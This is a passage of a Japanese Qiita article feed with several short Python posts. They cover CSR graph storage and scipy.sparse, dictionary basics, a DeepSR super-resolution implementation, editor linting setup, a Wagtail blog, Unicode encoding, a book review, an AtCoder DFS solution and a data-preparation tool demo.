を直接変更するわけにはいかないので新たに $counter$ を $start$ の複製として用意しこちらをポインタとして用いることにします。 まとめると $start[i+1] = $ 頂点 $i$ を始点とする辺の数とする。 累積和を取り $start$ を得る。 $start$ を複製しこれを $counter$ とする。 各辺について $elist[counter[始点]]$ に終点を格納 $counter[始点]$ をインクリメント となります。 3. CSR形式の実装 では具体的にPythonで実装します。頂点数をnとし、Eは E[i]=[辺iの始点, 辺iの終点]である2次元のリストです。(始点、終点は 0-indexed) def csr(n, E): start = [0] * (n + 1) elist = [0] * len(E) # start[i+1] = 頂点 i を始点とする辺の数 for e0, e1 in E: start[e0 + 1] += 1 #累積和 for i in range(1, n + 1): start[i] += start[i - 1] #挿入位置を表すポインタ counter = start[:] for e0, e1 in E: elist[counter[e0]] = e1 counter[e0] += 1 # ポインタを進める return start, elist 本記事で扱った例で使用してみると以下のようになります。 n = 7 E = [ [3, 2], [0, 1], [1, 2], [1, 3], [4, 5], [2, 5], [4, 6], [6, 5], [0, 4] ] start, elist = csr(n, E) print(start) # [0, 2, 4, 5, 6, 8, 8, 9] print(elist) # [1, 4, 2, 3, 5, 2, 5, 6, 5] 4. CSRの応用 本記事では重みなし有向グラフを例として扱ってきましたが、無向グラフや重み付きグラフでも問題ないです。また、多重辺や自己ループが存在しても問題ありません。 無向グラフの場合には隣接リストでもやるように辺の入力 $a_i, b_i$ に対して $[a_i, b_i], [b_i, a_i]$ の両方を $E$ に加えれば良いです。 重み付きグラフの場合には $elist$ に格納する値を (終点, 重み) というタプルにすれば良いです。 また、より多くの情報を持ちたい場合には構造体を作成しこれを $elist$ に格納すれば良いです。 5. SciPyで疎行列を扱う AtCoder の Python(3.8.2) 環境で使える科学計算ライブラリ SciPy は疎行列を扱うモジュール scipy.sparse を備えています。本記事の見出しで用いた LIL、 CSRといった表記はこれに準拠したものです。 scipy.sparse では他にも COO や CSC といった格納形式にも対応しており、また、これらの形式間で相互に変換することができます。 scipy.sparseを用いてcsr形式を得るには以下のようにすれば良いです。 $indptr (index \; pointer)$ が $start$ に、$indices$ が $elist$ にそれぞれ対応します。 n = 7 E = [ [3, 2], [0, 1], [1, 2], [1, 3], [4, 5], [2, 5], [4, 6], [6, 5], [0, 4] ] # 始点、終点、重みに分ける shiten, shuten, value = [], [], [] for e0, e1 in E: shiten.append(e0) shuten.append(e1) value.append(1) # csr_matrixの構築 from scipy.sparse import csr_matrix G = csr_matrix((value, (shiten, shuten))) print(G.indptr) # [0 2 4 5 6 8 8 9] print(G.indices) # [1 4 2 3 5 2 5 6 5] print(G.data) # [1 1 1 1 1 1 1 1 1] ただし、scipy.sparse.csr_matrixでは多重辺は重みの総和をとった1つの辺にまとまってしまうので注意が必要です。 また、この疎行列クラスは行列の積などの演算にも対応しており、通常の行列積では無駄に計算してしまう $0$ になる部分を飛ばして計算するので疎行列の場合にはこのクラスに変換してから計算することで非常に高速に計算できます。 import numpy as np from scipy.sparse import csr_matrix from timeit import timeit randint = np.random.randint # Aを全ての要素が0の1000x1000の行列とする A = np.zeros((1000, 1000), np.int64) # ランダムに選んだ1000箇所にランダムな値を入れる R, C, V = randint(1, 1000, 1000), randint(1, 1000, 1000), randint(1, 1000, 1000) A[R, C] = V # 同じものをcsr_matrixクラスで作る A_csr = csr_matrix((V, (R, C)), shape=(1000, 1000), dtype=np.int64) # Bをランダムな値を持つ1000x1000の行列とする B = randint(1, 1000, (1000, 1000)) # 通常の行列(numpy.ndarray)で行列積 ABを計算 print(timeit(lambda: A.dot(B), number=1)) # 2.980995751 # csr_matrixで行列積 ABを計算 print(timeit(lambda: A_csr.dot(B), number=1)) # 0.003365975000000354 6. おわりに 今回は internal_csr をみてきました。CSR形式は AtCoder で numba や numpy を使いたい方にとっては有用なテクニックだと思います。 説明の間違いやバグ、アドバイス等ありましたらお知らせください。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Python boot camp by Dr.Angela day9

Dictionary 情報をグループ化してくれる、key指定でvalueを出力する。 [書式] {key:value} dict1.py dict = { "A":"animal", "B":"bird", "C":"camera", 123:"number" #stringでなければ「""」不要 ... "Z":"zoom", } #追加があればこの位置にすぐに書ける print(dict["C"]) print(dict[123]) #string以外は「""」なしで呼び出し可能 #出力結果 camera number 上記のようにdictionaryは{}の位置が特徴的。別にこうしなくてもいいけど、通例/一般的に可読性のためこのように書くことが多いらしい。最後は、カッコで閉じる前に「,」で終わること。追加でコード書く際に、すぐに追加できるようにという配慮かららしい。 元のコードに追記する以外にdictionaryにkey新規作成 / 既存keyのvalueを編集 dict1.pyの続きに以下を記述 dict2.py dictionary["sample"] = "Add other value" #...(1) print(dictionary) dictionary["A"] = "apple" #...(2) print(dictionary) #出力結果 {'A':'animal', 'B':'bird', ..... , 'sample':'Add other value'} #(1)の"sample"追記 {'A':'apple', 'B':'bird', ..... , 'sample':'Add other value'} #(2)の"A"編集 空のdictionaryを作成 / 既存のdictionaryを削除(=空dictを上書きして削除) dict3.py empty_list = [] #空のリスト作成と同様に empty_dict = {} #空の辞書も作成可能! dictionary = {"A":"animal", "B":"bird", ... "Z":"zoom"} print(dictionary) dictionary = {} print(dictionary) #出力結果 {'A':'animal', 'B':'bird', ..... , 'Z':'zoom'} {} #2回目のprintでは空dictionaryが上書きされて既存の中身が消えた dictionaryのLoop処理 dict4.py for thing in dictionary: print(thing) #keyだけ出力 #出力結果 A B ... ... Z for thing in dictionary: print(dictionary[key]) #valueだけ出力 #出力結果 animal bird ... ... zoom Mission>> 元データに一切手を加えずに、各データのvalueを変更したい! 一覧データの元データに編集が許されていない場合は往々にしてある。 「生徒+点数の表」から点数に応じて、「生徒+評価の表」にするプログラム。 score.py student_scores = { "Harry": 81, "Ron": 78, "Hermione": 99, "Draco": 74, "Neville": 62, } student_grades = {} for student in student_scores: score = student_scores[student] #条件分岐に用いる基準を変数に当てる(ここがpoint) if score > 90: student_grades[student] = "Outstanding" elif 80 < score <= 90: student_grades[student] = "Exceed" elif 70 < score <= 80: student_grades[student] = "Acceptable" else: student_grades[student] = "Fail" print(student_grades) #出力結果 {'Harry': 'Exceed', 'Ron': 'Acceptacle', 'Hermione': 'Outstanding', 'Draco': 'Acceptacle', 'Neville': 'Fail'} これで先生も通知表をらくらくつけられそう。 Nested Dictionary [書式] {key1:[list], key2:{dict}, ...,} keyに複数のvalueを紐づけたいときに有用。 その1: 辞書の中の辞書へアクセス →[key1][key2]でvalue2にアクセス可能! dict5.py travel_log = { "Japan":["Tokyo","Osaka","Nagoya"], "France":{cities_visited:["Paris","Lille","Dijion"], "total_visits": 12}, } print(travel_log["Japan"]) #辞書のkey1へアクセスしてvalue1出力 print(travel_log["France"]["total_visits"] #辞書の中の辞書へアクセス #出力結果 'Tokyo','Osaka','Nagoya' 12 その2: listの中の辞書へアクセス → [index][key1]でvalue1へアクセス dict6.py travel_log = [ #2つのlist内にdect_key×3,それぞれのkeyタイプは以下3通り { "country":"France", #string-type "cities_visited":["Paris","Lille","Dijion"], #list-type "total_visits":12 #integer-type }, { "county":"Japan", "cities_visited":["Tokyo","Osaka","Nagoya"], "total_visits":6}, ] print(travel_log[0]["total_visits"]) #listの中の辞書へのアクセス #出力結果 12 dict7.py travel_log = [ { "country": "France", "visits": 12, "cities": ["Paris", "Lille", "Dijon"] }, { "country": "Germany", "visits": 5, "cities": ["Berlin", "Hamburg", "Stuttgart"] }, ] def add_new_country(country_visited, times_visited, cities_visited): new_country = {} #新規作成用の空dictを作成 new_country["country"] = country_visited #新dictのkeyとvalueを紐づけ new_country["visits"] = times_visited new_country["cities"] = cities_visited travel_log.append(new_country) #travel_logに新dictを追加 #[書式] リスト名.append(追加要素) add_new_country("Russia", 2, ["Moscow", "Saint Petersburg"]) #新規追加関数の呼び出し print(travel_log) #出力結果 [{'country': 'France', 'visits': 12, 'cities': ['Paris', 'Lille', 'Dijon']}, {'country': 'Germany', 'visits': 5, 'cities': ['Berlin', 'Hamburg', 'Stuttgart']}, {'country': 'Russia', 'visits': 2, 'cities': ['Moscow', 'Saint Petersburg']}] test.py order = { "starter": {1: "Salad", 2: "Soup"}, "main": {1: ["Burger", "Fries"], 2: ["Steak"]}, "dessert": {1: ["Ice Cream"], 2: []}, } print(order["main"][2][0]) #辞書key"main"の中の辞書2の中へアクセス #疑問->> [0]は必要なのか? #出力結果 Steak Mission>> Blind Auction Program 通常のオークションでは、他人がいくらベットしたか分かるようオープンな空間で競りが行われるが、このプログラムでは誰がいくらベットしたのか最後に開示されるまで分からない状態である。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

超解像手法/DeepSRを参考にした実装

概要 動画像における超解像手法であるDeepSRを参考に実装したので、それのまとめの記事です。 論文の概要をメモした記事もあるのでそちらも是非! 【論文メモ:DeepSR】Video Super-Resolution via Deep Draft-Ensemble Learning(2015) 今回紹介するコードはGithubにも載せています。 目次 実装したアルゴリズム 論文との相違点 使用したデータセット 画像評価指標PSNR コードの使用方法 結果 コードの全容 参考文献 1. 実装したアルゴリズム 今回、実装したアルゴリズムは以下の図の通りです。(図は論文から引用) 深層学習のモデルは、提案された論文と同じです。 3 Convolutin + 1 Deconvolutionとなっています。 コマンドラインで出力したモデルはこんな感じになっています。 __________________________________________________________________________________________________ Layer (type) Output Shape Param # Connected to ================================================================================================== input_0 (InputLayer) [(None, None, None, 0 __________________________________________________________________________________________________ input_1 (InputLayer) [(None, None, None, 0 __________________________________________________________________________________________________ input_2 (InputLayer) [(None, None, None, 0 __________________________________________________________________________________________________ input_3 (InputLayer) [(None, None, None, 0 __________________________________________________________________________________________________ concatenate (Concatenate) (None, None, None, 4 0 input_0[0][0] input_1[0][0] input_2[0][0] input_3[0][0] __________________________________________________________________________________________________ conv2d (Conv2D) (None, None, None, 2 124160 concatenate[0][0] __________________________________________________________________________________________________ conv2d_1 (Conv2D) (None, None, None, 5 131584 conv2d[0][0] __________________________________________________________________________________________________ conv2d_2 (Conv2D) (None, None, None, 1 4609 conv2d_1[0][0] __________________________________________________________________________________________________ conv2d_transpose (Conv2DTranspo (None, None, None, 1 626 conv2d_2[0][0] ================================================================================================== Total params: 260,979 Trainable params: 260,979 Non-trainable params: 0 __________________________________________________________________________________________________ 2. 論文との相違点 論文では、学習データに対しては、計算量が増大してしまうので簡略化していますが、 実際の高解像度化では、SR Draftとして高解像度画像の候補をいくつか生成して、それを入力画像とします。 そのうちの1枚はBicubicで補間した画像を使用します。 今回は、テストデータに対しても簡略化して実装を行いました。 具体的には、HR(正解画像)をガウシアンフィルタでぼかすことで、擬似的にSR Draftとしました。 これは、論文の学習データ生成方法と同じです。 3. 使用したデータセット 今回は、データセットにREDSを使用しました。 このデータセットは、動画像の超解像用のデータセットで、240種類の学習用データ、30種類の検証用データ、30種類のテスト用データの計300種類のデータセットです。 最近はこのデータセットを多用しています。 パスの構造はこんな感じ。 train_sharp - 001 - フレーム100枚 - 002 - フレーム100枚 - ... val_sharp - 001 - フレーム100枚 - 002 - フレーム100枚 - ... このデータをぼかしたりBicubicで縮小したりしてデータセットを生成しました。 4. 画像評価指標PSNR 今回は、画像評価指標としてPSNRを使用しました。 PSNR とは Peak Signal-to-Noise Ratio(ピーク信号対雑音比) の略で、単位はデジベル (dB) で表せます。 PSNR は信号の理論ピーク値と誤差の2乗平均を用いて評価しており、8bit画像の場合、255(最大濃淡値)を誤差の標準偏差で割った値です。 今回は、8bit画像を使用したが、計算量を減らすため、全画素値を255で割って使用した。そのため、最小濃淡値が0で最大濃淡値が1です。 dB値が高いほど拡大した画像が元画像に近いことを表します。 PSNRの式は以下のとおりです。 PSNR = 10\log_{10} \frac{1^2 * w * h}{\sum_{x=0}^{w-1}\sum_{y=0}^{h-1}(p_1(x,y) - p_2(x,y))^2 } なお、$w$は画像の幅、$h$は画像の高さを表しており、$p_1$は元画像、$p_2$はPSNRを計測する画像を示しています。 5. コードの使用方法 ① 学習データ生成 まず、Githubからコードを一式ダウンロードして、カレントディレクトリにします。 Windowsのコマンドでいうとこんな感じ。 C:~_keras_DeepSR> 次に、main.pyから生成するデータセットのサイズ・大きさ・切り取る枚数、ファイルのパスなどを指定します。 main.py train_height = 50 #学習用データのサイズ train_width = 50 test_height = 720 #テスト用データのサイズ test_width = 1280 cut_num = 10 #1枚の画像から生成するデータ数 train_dataset_num = 10000 #生成するデータ数 test_dataset_num = 5 train_movie_path = "../../rsde/train_sharp" #動画のフレームが入っているパス test_movie_path = "../../rsde/val_sharp" 指定したら、コマンドでデータセットの生成をします。 C:~_keras_DeepSR>python main.py --mode train_datacreate これで、train_data_list.npzというファイルのデータセットが生成されます。 ついでにテストデータも同じようにコマンドで生成します。コマンドはこれです。 C:~_keras_DeepSR>python main.py --mode test_datacreate ② 学習 次に学習を行います。 設定するパラメータの箇所は、epoch数と学習率とかですかね... まずは、main.pyの32~33行目 main.py BATSH_SIZE = 128 EPOCHS = 300 後は、学習のパラメータをあれこれ好きな値に設定します。85~94行目です。 main.py optimizers = tf.keras.optimizers.Adam(learning_rate=1e-4) train_model.compile(loss = "mean_squared_error", optimizer = optimizers, metrics = [psnr]) train_model.fit({"input_0":train_x[0], "input_1":train_x[1], "input_2":train_x[2], "input_3":train_x[3]}, train_y, epochs = EPOCHS, verbose = 2, batch_size = BATSH_SIZE) optimizerはAdam、損失関数は最小二乗法を使用しています。 入力画像は今回は4枚で出力は1枚です。 学習はデータ生成と同じようにコマンドで行います。 C:~_keras_DeepSR>python main.py --mode train_model これで、学習が終わるとモデルが出力されます。 ③ 評価 最後にモデルを使用してテストデータで評価を行います。 これも同様にコマンドで行いますが、事前に①でテストデータも生成しておいてください。 C:~_keras_DeepSR>python main.py --mode evaluate このコマンドで、PSNRの差分に応じて画像を出力してくれます。 6. 結果 出力した画像はこのようになりました。 なお、今回は輝度値のみで学習を行っているため、カラー画像には対応していません。 対応させる場合は、modelのInputのchannel数を変えたり、データセット生成のchannel数を変える必要があります。 元画像 低解像度画像(Bicubicで4倍縮小して元の画像サイズに拡大) PSNR:25.04 生成画像 PSNR:34.06 凄く精細な画像が出力されましたが、実際はこんなに綺麗に出力されない気はします。 低解像度画像をガウシアンフィルタで生成しましたが、パラメータを調整したりしてより現実的な超解像モデルにするべきです。 4倍拡大のSR Draftは、ガウシアンフィルタのぼかしでは再現できないと思うんですよね... 論文は4倍もしっかりとできてましたけど、パラメータが公開されていないのでそこらへんは憶測でしている部分もあります。 自分のコードだと2倍だったらもう少し現実的かも、という感じです。 後はモデルのパラメータチューニングも必要かもです。 7. コードの全容 前述の通り、Githubに載せています。 思ったより記事が長くなったので、全部載せるのはやめておきます。 8. まとめ 今回は、最近読んだ論文のDeepSRを元に実装してみました。 結果見ても分かるように、いい結果になりすぎているので参考くらいがちょうどいいと思います笑 超解像の論文実装記事全然ないからもっと増えてくれ...!!! 参考文献 ・Video Super-Resolution via Deep Draft-Ensemble Learning  今回参考にした論文。 ・REDSのデータセット  今回使用したデータセット
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Pythonプロジェクトの開発環境の統一

概要 Pythonプロジェクトを開発する際、スタイルを揃えたい。特に複数人で開発するときにそれぞれ違う書き方をされると開発がしにくい。 そこでプロジェクトでフォーマッタなどを導入して、VSCodeでオートフォーマットしてもらう。 まだまだ発展途上なのでもっと良くしていきたい。 プロジェクトの設定 poetryを使う想定。 開発環境にライブラリをインストール poetry init poetry add black flake8 mypy --dev 各種ファイルに設定を記述。 現状は一行の最大長を99文字で揃える設定のみ書いている。 pyproject.toml ... [tool.black] line-length = 99 .flake8 [flake8] max-line-length = 99 VSCodeの設定 Settingsメニューは cmd+, で開ける flake8 Linting Settingsでpython.linting.flake8を検索 Whether to lint Python files using flake8にチェックを入れる black auto formatting Settingsでeditor.formatOnSaveを検索 Editor: Format On Saveにチェック Settingsでeditor.formatting.providerを検索 blackに設定 mypy static linting Settingsでpython.linting.mypyEnabledを検索 Whether tot lint Python files using mypyにチェック VSCodeでVirtual Environmentの設定 Settingsでpython.venvPathを検索 自分のvirtualenvのパスを追加 プロジェクトを開発する際は左下のPython環境設定部分をクリックして適切な環境を選択する 参考Links
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【個人開発】自分用にDjangoベースのCMS:Wagtailを用いて技術ブログを構築した話

はじめに こんなサイトを作りました。 https://ho-webmemo.ml/ 技術ブログなどで色々アウトプットしていきたいと思いつつ、なかなか投稿できないでいたので、自分用の技術ブログを作れば積極的にアウトプットするのではと思い、2020年10月ごろに作成しました(そして半年後にようやくこの記事を投稿しているということは、、、) 環境は? Python Wagtail jQuery Bootstrap Material Design SQLite GCP なぜWagtailかというと、もともとDjangoを勉強していて何か作りたいなーと思っていたことと、WordPressだとテーマが豊富で自分で作らなくても、、という気持ちになりそうだったのでDjangoベースのCMSであるWagtailを採用しました。 製作期間 1か月 以前にもWagtailで遊んだことがあり少し知見があったため、当ブログの作成だけでしたらこの期間で完成できました 苦労したところ 下記に、苦労した点と参考にさせていただいたものをまとめます。 Wagtailをどう学習するか あまり日本では使われていないためか、日本語情報があまりありません。そのため英語から情報を取得するのが必須でした。 今回作成したブログ作成を始める前、Wagtailの基本を学ぶため、まずYoutubeから下記シリーズを日本語字幕で見ていました。 細かく説明されているためとても分かりやすかったです。 今回作成を始めるとき、できるだけ時間をかけたくなかったため下記チュートリアルを通してWagtailについて復習しました。 Wagtail Tutorial Series エラーが起こったとき 作成時に色々エラーが出たりしましたがWagtailベースで調べるよりも、Djangoとして調べた方が解決することが多かったです。 教訓 本来の目的としては自分で作成したブログを通してどんどん記事を書くことでしたが、半年たった今でもあまりアウトプットできていません。 自分のようにQiitaの方でも書くのが続かない人は、自分でブログを作成したところで続かない可能性が高いのかなーと思いました。 おわりに いろいろ書きましたが、ぜひ見てみてください! https://ho-webmemo.ml/
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Python:Unicode文字の扱い方(エンコード、デコード)

はじめに Unicodeのコードと名前による文字の扱い方 Python3.xから、文字列データはUnicodeのシーケンスとなっています。Unicodeでについては、以下のリンクから各文字のコードと名前が確認できます。 PythonでUnicodeを扱う場合、'\uxxxx'でコードを指定するか、'\N{名前}'で指定することで利用できます。 sample01 >>> a = '\u00e9' >>> a 'é' >>> b = '\N{LATIN SMALL LETTER E WITH ACUTE}' >>> b 'é' Pythonでは、unicodedataモジュールをインポートすることで、Unicodeのコードから名前を返すname()関数が用意されています。また、名前からUnicode文字を返すlookup()関数も用意されています。 sample02 >>> import unicodedata as ud >>> a = ud.name('\u00e9') >>> a 'LATIN SMALL LETTER E WITH ACUTE' >>> b = ud.lookup(a) >>> b 'é' UTF-8へのエンコードとデコード Pythonで扱った文字データを、別の文字体系(JIS-JPやEUC等)で扱う場合はUnicodeから別の文字コードへの変換が必要です。この場合は、 文字列をバイト列に符号化(エンコード)して、 バイト列を文字列に復号(デコード)する Pythonでは各々、encode()関数とdecode()関数が用意されています。 sample03 >>> a = 'caf\u00e9' >>> a 'café' >>> b = a.encode() >>> b b'caf\xc3\xa9' >>> c = b.decode() >>> c 'café' encode()関数とdecode()関数も、引数でエンコーディング方法を指定できます。デフォルトでは、UTF-8となります。他にも以下が指定できます。 エンコーディング名 説明 'ascii' ASCII形式 'utf-8' ほとんどがこれを使うことになる 'latin-1' ISO8859-1 'cp-1252' 一般的なWindowsでのエンコーディング 'unicode-escape' Python Unicodeリテラル形式。\uxxxx 例えば'ascii'を指定した場合、対応するエンコーディング先がない場合はエラーとなってしまいます。エラーを避ける場合は、第2引数に'ignore'を指定してエンコードできない文字を破棄するか、'replace'を指定してエンコードできない文字を'?'に変換するようにすることもできます。 sample04 >>> a = 'caf\u00e9' >>> a 'café' >>> b = a.encode("ascii") --------------------------------------------------------------------------- UnicodeEncodeError Traceback (most recent call last) <ipython-input-54-4bf93612eeb6> in <module> ----> 1 b = a.encode('ascii') UnicodeEncodeError: 'ascii' codec can't encode character '\xe9' in position 3: ordinal not in range(128) >>> b = a.encode('ascii', 'replace') >>> b b'caf?' HTMLで利用されるエンティティ文字へのエンコードとデコード Python3.4以降では、HTMLで利用されるエンティティ文字の名前を利用できるようになりました。Unicodeで定義された名前より、こちらの方が簡易で使いやすいです。 エンティティ文字の一覧のリンクを下記しておきます。 https://html.spec.whatwg.org/multipage/named-characters.html#named-character-references sample05 >>> from html.entities import html5 >>> html5['eacute'] 'é' html.entitiesのモジュールの中に、エンティティ文字の辞書としてhtml5を持っていますので、名前を指定することでエンティティ文字を取得することができます。 Unicode文字をHTML互換の文字列にするには以下のようにします。 sample05 >>> place = 'caf\u00e9' >>> place 'café' >>> byte_val = place.encode('ascii', 'xmlcharrefreplace') >>> byte_val b'caf&#233;' >>> byte_val.decode() 'caf&#233;'
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

独学〜【AI・データ分析プロジェクトのすべて】〜

はじめに 「AI・データ分析プロジェクトのすべて[ビジネス力×技術力=価値創出]」を読み終えた。 書籍情報 タイトル:AI・データ分析プロジェクトのすべて[ビジネス力×技術力=価値創出] 出版社:株式会社技術評論社 著者:大城 信晃、マスクド・アナライズ、伊藤 徹郎、小西 哲平、西原 成輝、油井 志郎 媒体:Kindle 目次 目次は以下のとおりで、各章の下に最大9のコンテンツがある。 第 1 部  プロジェクトの準備  第 1 章  AI・データ分析業界の概要  第 2 章  データサイエンティストのキャリアと雇用  第 3 章  データサイエンティストの実務と情報収集 第 2 部  プロジェクトの入口  第 4 章  社内案件の獲得と外部リソースの検討  第 5 章  データのリスクマネジメントと契約 第 3 部  プロジェクトの実行  第 6 章  AI・データ分析プロジェクトの起ち上げと管理  第 7 章  データの種類と分析手法の検討  第 8 章  分析結果の評価と改善  第 9 章  レポーティングとBI  第 10 章  データ分析基盤の構築と運用 第 4 部  プロジェクトの出口  第 11 章  プロジェクトのバリューと継続性  第 12 章  業界事例 特徴 ①読者の立場ごとに読み進めることが可能 読者を以下の4つの区分に分け、各コンテンツの先頭に対象読者が定義されている。 以下が対象読者の定義。 学生・データ分析プロジェクト未経験者 学生やすでに社会人として働かれている方の中で、AI・データ分析に興味はあるものの実務経験がない ジュニアデータサイエンティスト データ分析組織を持っている企業の中で、先輩のデータサイエンティストの指示を仰ぎながら日々業務に取り組んでいる ミドルデータサイエンティスト ジュニアデータサイエンティストを数年経験し、一通りのデータ分析業務を自身の判断で進めることができる シニアデータサイエンティスト ミドルデータサイエンティストからさらに実務経験を重ねることで、プレーヤーとしてだけではなく、プロジェクトや組織全体のマネジメント経験も豊富なゼネラリストとして活躍されている 対象読者の整理 第 1 部  プロジェクトの準備 章 タイトル 学 生 ジュニア ミドル 1 AI・データ分析業界の概要 ◎ ○ 2 データサイエンティストのキャリアと雇用 ◎ ○ ○ 3 データサイエンティストの実務と情報収集 ◎ ◎ ○ 第 2 部  プロジェクトの入口 章 タイトル 学 生 ジュニア ミドル 4 社内案件の獲得と外部リソースの検討 ○ ◎ 5 データのリスクマネジメントと契約 ○ ◎ 第 3 部  プロジェクトの実行 章 タイトル 学 生 ジュニア ミドル 6 AI・データ分析プロジェクトの起ち上げと管理 ○ ◎ 7 データの種類と分析手法の検討 ○ ◎ ○ 8 分析結果の評価と改善 ○ ◎ ◎ 9 レポーティングとBI ○ ◎ ○ 10 データ分析基盤の構築と運用 ○ ◎ 第 4 部  プロジェクトの出口 章 タイトル 学 生 ジュニア ミドル 11 プロジェクトのバリューと継続性 ○ ◎ 12 業界事例 ◎ ◎ ◎ 私は・・・。考えることなく学生・データ分析プロジェクト未経験者ですね。 ②各コンテンツごとにキーワードが設定されている 各コンテンツの先頭にキーワードが列挙されている。 キーワードは最後に索引として列挙されている。 ③参考書籍の紹介 各コンテンツの最後にそのコンテンツを更に深堀りするために有益な書籍が紹介されている。 私のように独学するエンジニアにとっては有益な情報。 ①②はこんな感じ コンテンツ「1-1 AI・データ分析業界の歩み」の対象読者とキーワード 読了1回目 読み終えて 2021/04/25(日)全てのコンテンツを読みきった。 なるほど、データサイエンス・AIの領域については、学生であっても一般的なシステム構築のエンジニアとしてはミドルである(であってほしい)ため、全体的に内容を飲み込むことができた。 これまで闇雲にPython・スクレイピング・AIなどキーワードだけ拾ってきては独学を開始してみては途中で失敗していたが、この書籍と出会ったことで、データサイエンスの全体像を俯瞰することででき、独学の方向性が明確になった。 これまでの私の独学のスタイルは「スキルを身につけること。」が目的だったが、それでは不完全で、「○○を実現させたいからスキルを身につける。」が大事だった。 それに気づかせてくれた一冊だった。 注意が必要なポイントは、環境構築方法、ロジック、数式などの実務的な情報はこの書籍には記載されていない。 あくまでも全体を俯瞰することを目的に本書を読むことをおすすめする。 刺さったコンテンツ 1-3 従来のシステム開発とAIプロジェクトは何が違うのか 従来型システム開発との違い データの重要性 契約と責任 2-3 データサイエンティストの生存戦略 データ分析スキルだけでは勝てない時代へ 働く現場 3-4 情報収集の方法 Webサイトをチェックする 勉強会に参加する 書籍を調べる 情報が集まってくる環境を作る もっと深い情報を得るために 3-5 情報発信の方法 ブログで技術情報を発信する 自ら勉強会やイベントを開催する 継続的に発信する 5-2 データに関わる法律 個人情報を扱う必要があるか 個人情報保護法 匿名加工情報 自身のケースに当てはめる 7-2 データの実情と前処理の大切さ データの不備 代表的なデータの前処理 業界ごとのデータの不備 7-3 ツール・プログラミング言語の選択 運用をふまえた選定ポイント 分析ツールの種類・特徴 各プログラミング言語の特徴 7-4 目的によるデータ分析手法の違い データ分析手法の選択 探索的データ解析手法 仮説検証的データ分析手法(予測) 「教師あり」か「教師なし」か 10-4 クラウドの選定 どのクラウドサービスを使えばいいのか? 大規模データ分析・機械学習を行うならGCPを選択 10-5 業務用データベースと分析用データベース なぜDWHで分析基盤を作るのか? RDBとNoSQLの違い NoSQLとRDBの連携 10-6 データの種類とデータ基盤設計 データの種類 役割で見るデータベース 10-7 AI実運用のためのスキルセット MLOpsという考え方 すべてのスキルセットを持ち合わせた人材はいない 12-1 金融業界における事例と動向 クレジットスコアリング 会計の自動仕訳 データ活用の鍵はオープンバンクAPIの動向 12-4 教育業界の事例と動向 アダプティブラーニング データサイエンス教育 データサイエンスはこれから 12-6 EC業界における活用事例 レコメンドエンジン ダイナミックプライシング ビジュアル検索 業界全体を俯瞰するための書籍とはいえ、やはり技術的な記載があるコンテンツが刺さり、12章の業界事例では自身が開発プロジェクトに携わっている(いた)業界の事例が刺さりました。 書籍紹介 本書で紹介された約30冊の参考書籍のうち、特に気になった書籍3冊。 Pythonによるデータ分析入門 第2版 ─NumPy、pandasを使ったデータ処理 前処理大全[データ分析のためのSQL/R/Python実践テクニック] Kindle版 見て試してわかる機械学習アルゴリズムの仕組み 機械学習図鑑 Kindle版 ・・・やはり技術的な書籍が気になるようで。同じ轍を踏むことにならなければよいのだが。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Python] DFS ABC199D

ABC199D $3^N$ 通りの塗り方を全部探索する方法では実行時間制限に間に合わせるのは困難です。 ある頂点iの色を決めた時、iと辺で繋がっている頂点の色の探索候補は2通りしかないから、グラフが連結なら$3×2^{N-1}$通りの塗り方だけ探索すればよい。 今回グラフは連結とは限りませんが、連結成分ごとの塗り方の数の積が全体の塗り方の数となるので連結成分ごとに処理すればグラフが連結な場合に帰着することができます。 サンプルコード import copy n,m=map(int,input().split()) G=[[] for _ in range(n)] # 隣接グラフ設定 for i in range(m): a,b=map(int,input().split()) a,b=a-1,b-1 G[a].append(b) G[b].append(a) done=[False]*n # 頂点のグラフ作成済みフラグ # 再帰で連結グラフ作成 def make_union(p,ret): done[p]=True ret.append(p) for q in G[p]: if done[q]: continue make_union(q,ret) return ret """ 連結グラフの頂点iから再帰DFSで色を塗り、塗り方が何通りか返す stateは色塗状況、lstは連結グラフ """ def dfs(i,state,lst): ret=0 # 終端処理 if i+1==len(lst): for c in range(3): for q in G[lst[i]]: if state[q]==c: break else: ret+=1 return ret for c in range(3): state[lst[i]]=c for q in G[lst[i]]: if state[q]==c: break else: ret+=dfs(i+1,copy.copy(state),lst) return ret ans=1 for p in range(n): if done[p]: continue # 数え済みならパス lst=make_union(p,[]) ans*=dfs(0,[-1]*n,lst) print(ans)
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

無料で使えるデータプレパレーションツール試してみた

データプレパレーション データプレパレーション(Data Preparation)は、データ準備、データ前処理とも呼ばれ、さまざまな領域に保管している生のデータを分析や機械学習に使える状態にクレンジングするデータ変換プロセスのことをいいます。 プレパレーションツールが注目される背景 データ活用におけるプロセスでの準備コスト データ分析作業のうち、作業時間の大部分を占めるのは、データ準備であることがわかっています。 つまり、データプレパレーションのコストを削減することは、データ分析作業全体のコストを削減することに直結するのです。 データの質、量が求められる時代 昨今ではあらゆる業界、業務でデータ活用が進み、セルフBIやAutoMLツールの人気が高まっています。 それにより、専門家ではないビジネスユーザーが自らデータ活用を行う機会が増え、良質なデータが求められるようになりました。 またDXや、クラウドサービスの普及により、データの量も年々増えています。これまで当たり前のように行われてきた、Excelを使ったアナログな作業が、困難な機会も増えてきています。 VARISTA Data Editor 処理フローをつなげていき、データを加工していくタイプのデータプレパレーションツールです。 フリープランは無料で利用することができるため、気軽に試すことができます。 利用するデータ kaggleの「Recruit Restaurant Visitor Forecasting」コンペのデータを利用し以下の処理を施していきます。 加工開始 ツールでデータを開くとこのような画面になります。 「フィルタを追加」から加工する処理を追加していきます。 データの結合 - 「マージ」フィルタ 複数ファイルに別れているのデータを結合していきます。 air_store_idをもとに2つのデータを結合 結合するデータ、列を選択 このように air_stora_id に対して Left Join を行うことができました。 文字列のsplit - 「区切り文字で分割」フィルタ air_area_name には「Fukuoka-ken Fukuoka-shi Daimyō」や「Tōkyō-to Toshima-ku Mejiro」のようにスペースで連結された地名が入力されています。 これらの値をスペースで区切って都道府県、市地区町村名に分割していきます。 結果 このように air_area_name_0 には 